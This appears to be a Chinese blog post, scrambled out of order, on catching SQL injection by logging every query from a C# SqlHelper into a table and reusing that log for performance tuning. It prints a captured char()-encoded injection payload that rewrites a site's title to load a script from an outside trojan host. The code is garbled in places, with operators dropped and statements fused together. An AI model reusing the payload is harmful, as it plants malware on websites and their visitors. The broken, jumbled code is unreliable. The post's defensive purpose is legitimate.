记一次成功的sql注入入侵检测附带sql性能优化

构造sql如下:
39191+update+my_websetting+set+websitetitle=REPLACE(cast(websitetitle+as+varchar(8000)),cast(char(60)+char(47)+char(116)+char(105)+char(116)+char(108)+char(101)+char(62)+char(60)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(32)+char(115)+char(114)+char(99)+char(61)+char(104)+char(116)+char(116)+char(112)+char(58)+char(47)+char(47)+char(100)+char(102)+char(114)+char(103)+char(99)+char(99)+char(46)+char(99)+char(111)+char(109)+char(47)+char(117)+char(114)+char(46)+char(112)+char(104)+char(112)+char(62)+char(60)+char(47)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))–
转码后变成这样了: update my_websetting set
websitetitle=REPLACE(cast(websitetitle as
varchar(8000)),websitetitle+’/titlescript src=’)
这个就是木马地址,没事你就别点了,好奇害死猫。 小结:
既然知道入口就知道怎么补救了吧,把string类型该过滤的都过滤掉,int类型的就得是int类型,别让数据库替你隐式转。通过此sql日志记录,你应该发现一点那个hit还是有点价值的。
通过select top 100 * from my_sqllog order by hit desc
你会发现你写的那么多sql原来真垃圾,在条件允许的情况下干嘛不把它放到缓存里。所以后来我写的sql基本不在这top
100里。
抛砖引玉,望高手批评,以上入侵方法希望刚学习做程序员的同学不要用来欺负小网站,伤不起。
作者:jqbird

        //public static readonly string ConnectionStringLocalTransaction

ConfigurationManager.ConnectionStrings[“SQLConnString1”].ConnectionString;
        //public static readonly string
ConnectionStringInventoryDistributedTransaction =
ConfigurationManager.ConnectionStrings[“SQLConnString2”].ConnectionString;
        //public static readonly string
ConnectionStringOrderDistributedTransaction =
ConfigurationManager.ConnectionStrings[“SQLConnString3”].ConnectionString;
        //public static readonly string ConnectionStringProfile =
ConfigurationManager.ConnectionStrings[“SQLProfileConnString”].ConnectionString;

        // Hashtable to store cached parameters
        private static Hashtable parmCache = Hashtable.Synchronized(new
Hashtable());

        /// <summary>
        /// Execute a SqlCommand (that returns no resultset) against the
database specified in the connection string
        /// using the provided parameters.
        /// </summary>
        /// <remarks>
        /// e.g.: 
        ///  int result = ExecuteNonQuery(connString,
CommandType.StoredProcedure, “PublishOrders”, new
SqlParameter(“@prodid”, 24));
        /// </remarks>
        /// <param name=”connectionString”>a valid connection
string for a SqlConnection</param>
        /// <param name=”commandType”>the CommandType (stored
procedure, text, etc.)</param>
        /// <param name=”commandText”>the stored procedure name or
T-SQL command</param>
        /// <param name=”commandParameters”>an array of
SqlParamters used to execute the command</param>
        /// <returns>an int representing the number of rows
affected by the command</returns>
        public static int ExecuteNonQuery(string connectionString,
CommandType cmdType, string cmdText, params SqlParameter[]
commandParameters)
        {

            SqlCommand cmd = new SqlCommand();

            using (SqlConnection conn = new
SqlConnection(connectionString))
            {
                PrepareCommand(cmd, conn, null, cmdType, cmdText,
commandParameters);
                int val = cmd.ExecuteNonQuery();
                cmd.Parameters.Clear();
                return val;
            }
        }

        /// <summary>
        /// Execute a SqlCommand (that returns no resultset) against an
existing database connection
        /// using the provided parameters.
        /// </summary>
        /// <remarks>
        /// e.g.: 
        ///  int result = ExecuteNonQuery(connString,
CommandType.StoredProcedure, “PublishOrders”, new
SqlParameter(“@prodid”, 24));
        /// </remarks>
        /// <param name=”conn”>an existing database
connection</param>
        /// <param name=”commandType”>the CommandType (stored
procedure, text, etc.)</param>
        /// <param name=”commandText”>the stored procedure name or
T-SQL command</param>
        /// <param name=”commandParameters”>an array of
SqlParamters used to execute the command</param>
        /// <returns>an int representing the number of rows
affected by the command</returns>
        public static int ExecuteNonQuery(SqlConnection connection,
CommandType cmdType, string cmdText, params SqlParameter[]
commandParameters)
        {

            SqlCommand cmd = new SqlCommand();

            PrepareCommand(cmd, connection, null, cmdType, cmdText,
commandParameters);
            int val = cmd.ExecuteNonQuery();
            cmd.Parameters.Clear();
            return val;
        }

        /// <summary>
        /// Execute a SqlCommand (that returns no resultset) using an
existing SQL Transaction
        /// using the provided parameters.
        /// </summary>
        /// <remarks>
        /// e.g.: 
        ///  int result = ExecuteNonQuery(connString,
CommandType.StoredProcedure, “PublishOrders”, new
SqlParameter(“@prodid”, 24));
        /// </remarks>
        /// <param name=”trans”>an existing sql
transaction</param>
        /// <param name=”commandType”>the CommandType (stored
procedure, text, etc.)</param>
        /// <param name=”commandText”>the stored procedure name or
T-SQL command</param>
        /// <param name=”commandParameters”>an array of
SqlParamters used to execute the command</param>
        /// <returns>an int representing the number of rows
affected by the command</returns>
        public static int ExecuteNonQuery(SqlTransaction trans,
CommandType cmdType, string cmdText, params SqlParameter[]
commandParameters)
        {
            SqlCommand cmd = new SqlCommand();
            PrepareCommand(cmd, trans.Connection, trans, cmdType,
cmdText, commandParameters);
            int val = cmd.ExecuteNonQuery();
            cmd.Parameters.Clear();
            return val;
        }

        /// <summary>
        /// Execute a SqlCommand that returns a resultset against the
database specified in the connection string
        /// using the provided parameters.
        /// </summary>
        /// <remarks>
        /// e.g.: 
        ///  SqlDataReader r = ExecuteReader(connString,
CommandType.StoredProcedure, “PublishOrders”, new
SqlParameter(“@prodid”, 24));
        /// </remarks>
        /// <param name=”connectionString”>a valid connection
string for a SqlConnection</param>
        /// <param name=”commandType”>the CommandType (stored
procedure, text, etc.)</param>
        /// <param name=”commandText”>the stored procedure name or
T-SQL command</param>
        /// <param name=”commandParameters”>an array of
SqlParamters used to execute the command</param>
        /// <returns>A SqlDataReader containing the
results</returns>
        public static SqlDataReader ExecuteReader(string
connectionString, CommandType cmdType, string cmdText, params
SqlParameter[] commandParameters)
        {
            SqlCommand cmd = new SqlCommand();
            SqlConnection conn = new SqlConnection(connectionString);

            // we use a try/catch here because if the method throws an
exception we want to
            // close the connection throw code, because no datareader
will exist, hence the
            // commandBehaviour.CloseConnection will not work
            try
            {
                PrepareCommand(cmd, conn, null, cmdType, cmdText,
commandParameters);
                SqlDataReader rdr =
cmd.ExecuteReader(CommandBehavior.CloseConnection);
                cmd.Parameters.Clear();
                return rdr;
            }
            catch
            {
                conn.Close();
                throw;
            }
        }

        public static DataTable GetDataTable(string connectionString,
CommandType cmdType, string cmdText, params SqlParameter[]
commandParameters)
        {
            DataTable dt = new DataTable();
            SqlCommand cmd = new SqlCommand();
            SqlDataAdapter da = new SqlDataAdapter(cmd);

            SqlConnection conn = new SqlConnection(connectionString);

            // we use a try/catch here because if the method throws an
exception we want to
            // close the connection throw code, because no datareader
will exist, hence the
            // commandBehaviour.CloseConnection will not work
            try
            {
                PrepareCommand(cmd, conn, null, cmdType, cmdText,
commandParameters);
                // SqlDataReader rdr =
cmd.ExecuteReader(CommandBehavior.CloseConnection);
                cmd.Parameters.Clear();
                da.Fill(dt);
                return dt;
                // return rdr;
            }
            catch
            {
                // conn.Close();
                throw;
            }
        }

        /// <summary>
        /// Execute a SqlCommand that returns the first column of the
first record against the database specified in the connection string
        /// using the provided parameters.
        /// </summary>
        /// <remarks>
        /// e.g.: 
        ///  Object obj = ExecuteScalar(connString,
CommandType.StoredProcedure, “PublishOrders”, new
SqlParameter(“@prodid”, 24));
        /// </remarks>
        /// <param name=”connectionString”>a valid connection
string for a SqlConnection</param>
        /// <param name=”commandType”>the CommandType (stored
procedure, text, etc.)</param>
        /// <param name=”commandText”>the stored procedure name or
T-SQL command</param>
        /// <param name=”commandParameters”>an array of
SqlParamters used to execute the command</param>
        /// <returns>An object that should be converted to the
expected type using Convert.To{Type}</returns>
        public static object ExecuteScalar(string connectionString,
CommandType cmdType, string cmdText, params SqlParameter[]
commandParameters)
        {
            SqlCommand cmd = new SqlCommand();

            using (SqlConnection connection = new
SqlConnection(connectionString))
            {
                PrepareCommand(cmd, connection, null, cmdType, cmdText,
commandParameters);
                object val = cmd.ExecuteScalar();
                cmd.Parameters.Clear();
                return val;
            }
        }

        /// <summary>
        /// Execute a SqlCommand that returns the first column of the
first record against an existing database connection
        /// using the provided parameters.
        /// </summary>
        /// <remarks>
        /// e.g.: 
        ///  Object obj = ExecuteScalar(connString,
CommandType.StoredProcedure, “PublishOrders”, new
SqlParameter(“@prodid”, 24));
        /// </remarks>
        /// <param name=”conn”>an existing database
connection</param>
        /// <param name=”commandType”>the CommandType (stored
procedure, text, etc.)</param>
        /// <param name=”commandText”>the stored procedure name or
T-SQL command</param>
        /// <param name=”commandParameters”>an array of
SqlParamters used to execute the command</param>
        /// <returns>An object that should be converted to the
expected type using Convert.To{Type}</returns>
        public static object ExecuteScalar(SqlConnection connection,
CommandType cmdType, string cmdText, params SqlParameter[]
commandParameters)
        {

            SqlCommand cmd = new SqlCommand();

            PrepareCommand(cmd, connection, null, cmdType, cmdText,
commandParameters);
            object val = cmd.ExecuteScalar();
            cmd.Parameters.Clear();
            return val;
        }

        /// <summary>
        /// add parameter array to the cache
        /// </summary>
        /// <param name=”cacheKey”>Key to the parameter
cache</param>
        /// <param name=”cmdParms”>an array of SqlParamters to be
cached</param>
        public static void CacheParameters(string cacheKey, params
SqlParameter[] commandParameters)
        {
            parmCache[cacheKey] = commandParameters;
        }

        /// <summary>
        /// Retrieve cached parameters
        /// </summary>
        /// <param name=”cacheKey”>key used to lookup
parameters</param>
        /// <returns>Cached SqlParamters array</returns>
        public static SqlParameter[] GetCachedParameters(string
cacheKey)
        {
            SqlParameter[] cachedParms =
(SqlParameter[])parmCache[cacheKey];

            if (cachedParms == null)
                return null;

            SqlParameter[] clonedParms = new
SqlParameter[cachedParms.Length];

            for (int i = 0, j = cachedParms.Length; i < j; i++)
                clonedParms[i] =
(SqlParameter)((ICloneable)cachedParms[i]).Clone();

            return clonedParms;
        }

        /// <summary>
        /// Prepare a command for execution
        /// </summary>
        /// <param name=”cmd”>SqlCommand object</param>
        /// <param name=”conn”>SqlConnection
object</param>
        /// <param name=”trans”>SqlTransaction
object</param>
        /// <param name=”cmdType”>Cmd type e.g. stored procedure
or text</param>
        /// <param name=”cmdText”>Command text, e.g. Select *
from Products</param>
        /// <param name=”cmdParms”>SqlParameters to use in the
command</param>
        private static void PrepareCommand(SqlCommand cmd, SqlConnection
conn, SqlTransaction trans, CommandType cmdType, string cmdText,
SqlParameter[] cmdParms)
        {

            if (conn.State != ConnectionState.Open)
                conn.Open();

            cmd.Connection = conn;
            cmd.CommandText = cmdText;

            if (trans != null)
                cmd.Transaction = trans;

            cmd.CommandType = cmdType;

            if (cmdParms != null)
            {
                foreach (SqlParameter parm in cmdParms)
                    cmd.Parameters.Add(parm);
            }
        }
    }
}

但是如果是让你接手一个二等残废的网站,并让你在上面改版,而且不能推翻式改版,只能逐步替换旧的程序,那么你会非常痛苦,例如我遇到的问题:
问题1.
老板对你说,以前刚做完网站好好了,没有出现木马,怎么你来了,就会出现木马,先别说了,赶紧解决问题,我彻底无语,但是如果争吵,其实证明你和老板一样无知,拿出证据和事实分析来让公司其他稍微懂技术的一起来证明,公司网站被挂马不是你来了的错。
如是我通过网站目录仔细排查将通过fck上传的网马删除并修补fck的上传漏洞并记下了这篇
Fckeditor使用笔记
,其实很多人都遇到过,也解决过,都是小问题,但是让你老板明白比解决漏洞问题更蛋疼,我那解释的叫一个汗啊,恨不得把公司所有稍微懂点技术的都叫上让他们看什么是大马什么是小马,然后演示怎么上传木马,奶奶的,黑客教程普及啊。
问题2.
网站又出现问题,上次的问题解决了不过两个月,网站又被入侵挂马,如是老板这次再说因为我来了才出问题,立马走人,这就是为什么不能更不懂技术的人硬碰硬,更不能和你的老板来说,说了你又不懂。
但是要命的是网站是以前的技术开发的二等残废,在别个的cms上修改的,我必须保证网站在的开发的同时旧的模块还可以使用,通过逐步更新的方法将网站底层翻新,但是那么多页面,你很难一个一个去检测那个页面有漏洞,如是写出下面的检测代码,没想到这么简单的就搞定了,并且可以通过此方法优化你的sql。
第一步建立一个sql日志表 复制代码
代码如下: CREATE TABLE [dbo].[my_sqllog]( [id] [bigint]
IDENTITY(1,1) NOT NULL, [hit] [bigint] NULL, [sqltext]
[varchar](max) COLLATE Chinese_PRC_CI_AS NULL, [paramdetails]
[varchar](max) COLLATE Chinese_PRC_CI_AS NULL, [begintime]
[datetime] NULL, [endtime] [datetime] NULL, [fromurl]
[varchar](max) COLLATE Chinese_PRC_CI_AS NULL, [ip]
[varchar](20) COLLATE Chinese_PRC_CI_AS NULL, [lastelapsedtime]
[bigint] NULL, CONSTRAINT [PK_my_sqllog] PRIMARY KEY CLUSTERED (
[id] ASC )WITH (IGNORE_DUP_KEY = OFF) ON [PRIMARY] ) ON
[PRIMARY]
记录sql语句、此sql语句被执行次数,参数及值,记录开始时间,结束时间,来自哪个页面,ip和此条语句执行时间(暂时没用)
第二步在sqlhelper里写记录代码
两个方法本来可以写成private的,但是此二等残废的网站其他地方用的别的sqlhelper类,就直接调用此处通过合理优化的sqlhelper类的方法了。
代码1:插入日志 复制代码 代码如下: public
static int ExecuteSqlLog(CommandType commandType, string commandText,
params DbParameter[] cmdParams) { #region 参数处理 string colums =
“”; string dbtypes = “”; string values = “”; string paramdetails = “”;
if (cmdParams != null && cmdParams.Length 0) { foreach (DbParameter
param in cmdParams) { if (param == null) { continue; } colums +=
param.ParameterName + ” “; dbtypes += param.DbType + ” “; values +=
param.Value + “;”; } paramdetails = string.Format(” {0},{1},{2}”,
colums, dbtypes, values); } string fromurl = “”; if
(System.Web.HttpContext.Current!=null) { fromurl =
System.Web.HttpContext.Current.Request.Url.ToString(); } // commandText
= commandText.Replace(“‘”,”‘”).Replace(“;”,”;”); SqlParameter[]
parameters = new SqlParameter[] { new SqlParameter(“@hit”,1), new
SqlParameter(“@sqltext”,commandText), new
SqlParameter(“@paramdetails”,paramdetails), new
SqlParameter(“@begintime”,DateTime.Now), new
SqlParameter(“@endtime”,DateTime.Now), new
SqlParameter(“@fromurl”,fromurl), new
SqlParameter(“@ip”,Web.PressRequest.GetIP()), new
SqlParameter(“@lastelapsedtime”,0), }; #endregion using (DbConnection
connection = Factory.CreateConnection()) { connection.ConnectionString =
GetRealConnectionString(commandText);//ConnectionString; string sql =
“”; // 执行DbCommand命令,并返回结果. int id =
Utils.TypeConverter.ObjectToInt(ExecuteScalarLog(CommandType.Text,
“select top 1 id from my_sqllog where sqltext=@sqltext”, new
SqlParameter(“@sqltext”, commandText))); if (id 0) { sql = “update
my_sqllog set hit=hit+1,ip=@ip,endtime=@endtime,fromurl=@fromurl where
insert into
my_sqllog(hit,sqltext,paramdetails,begintime,endtime,fromurl,ip,lastelapsedtime)
values(@hit,@sqltext,@paramdetails,@begintime,@endtime,@fromurl,@ip,@lastelapsedtime)”;
} // 创建DbCommand命令,并进行预处理 DbCommand cmd =
Factory.CreateCommand(); bool mustCloseConnection = false;
PrepareCommand(cmd, connection, (DbTransaction)null, commandType, sql,
parameters, out mustCloseConnection); // 执行DbCommand命令,并返回结果.
int retval = cmd.ExecuteNonQuery(); // 清除参数,以便再次使用.
cmd.Parameters.Clear(); if (mustCloseConnection) connection.Close();
return retval; } } 代码2:判断此条sql是否存在 复制代码 代码如下: private static object
ExecuteScalarLog( CommandType commandType, string commandText, params
DbParameter[] commandParameters) { if (ConnectionString == null ||
ConnectionString.Length == 0) throw new
ArgumentNullException(“ConnectionString”); //
创建并打开数据库连接对象,操作完成释放对象. using (DbConnection
connection = Factory.CreateConnection()) { if (connection == null) throw
new ArgumentNullException(“connection”); //connection.Close();
connection.ConnectionString = GetRealConnectionString(commandText);
connection.Open(); // 创建DbCommand命令,并进行预处理 DbCommand cmd =
Factory.CreateCommand(); bool mustCloseConnection = false;
PrepareCommand(cmd, connection, (DbTransaction)null, commandType,
commandText, commandParameters, out mustCloseConnection); //
执行DbCommand命令,并返回结果. object retval = cmd.ExecuteScalar(); //
清除参数,以便再次使用. cmd.Parameters.Clear(); if (mustCloseConnection)
connection.Close(); return retval; } }
第三部在你的每个执行sql语句的方法里加入以下代码,不管是ExecuteScalar、ExecuteReader还是ExecuteNonQuery等等都加上
复制代码 代码如下:
//执行sql之前进行日志记录操纵 int log = ExecuteSqlLog(CommandType.Text,
commandText, commandParameters); 代码示例: 复制代码 代码如下: public static object
ExecuteScalar(DbConnection connection, CommandType commandType, string
commandText, params DbParameter[] commandParameters) { if (connection
== null) throw new ArgumentNullException(“connection”);
//connection.Close(); connection.ConnectionString =
GetRealConnectionString(commandText); connection.Open(); //
创建DbCommand命令,并进行预处理 DbCommand cmd = Factory.CreateCommand();
bool mustCloseConnection = false; PrepareCommand(cmd, connection,
(DbTransaction)null, commandType, commandText, commandParameters, out
mustCloseConnection); //执行sql之前进行日志记录操纵 int log =
ExecuteSqlLog(CommandType.Text, commandText, commandParameters); //
执行DbCommand命令,并返回结果. object retval = cmd.ExecuteScalar(); //
清除参数,以便再次使用. cmd.Parameters.Clear(); if (mustCloseConnection)
connection.Close(); return retval; }

using System;
using System.Configuration;
using System.Data;
using System.Data.SqlClient;
using System.Collections;

然后你会发现入侵的入口被记录下来了,后面方框里的就是构造注入的sql

namespace DBUtility
{

发表评论

电子邮件地址不会被公开。 必填项已用*标注

标签:
网站地图xml地图